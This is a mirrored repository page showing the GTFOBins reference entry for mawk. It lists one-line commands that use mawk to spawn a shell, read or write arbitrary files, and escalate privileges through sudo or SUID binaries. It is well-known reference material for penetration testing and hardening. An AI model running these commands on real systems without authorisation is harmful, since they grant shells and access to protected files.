This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2025-12-29 03:31:42 +01:00
Code
Issues
90960c8ea4
GTFOBins.github.io
/
_gtfobins
/
mawk.md
Nick Blekherman
c293ed20f7
Add SUID category to mawk as file read
2021-01-18 09:48:12 +02:00
471 B
Raw
Blame
History
functions
shell
file-write
file-read
suid
sudo
limited-suid
code
mawk 'BEGIN {system("/bin/sh")}'
code
LFILE=file_to_write mawk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'
code
LFILE=file_to_read mawk '//' "$LFILE"
code
LFILE=file_to_read ./mawk '//' "$LFILE"
code
sudo mawk 'BEGIN {system("/bin/sh")}'
code
./mawk 'BEGIN {system("/bin/sh")}'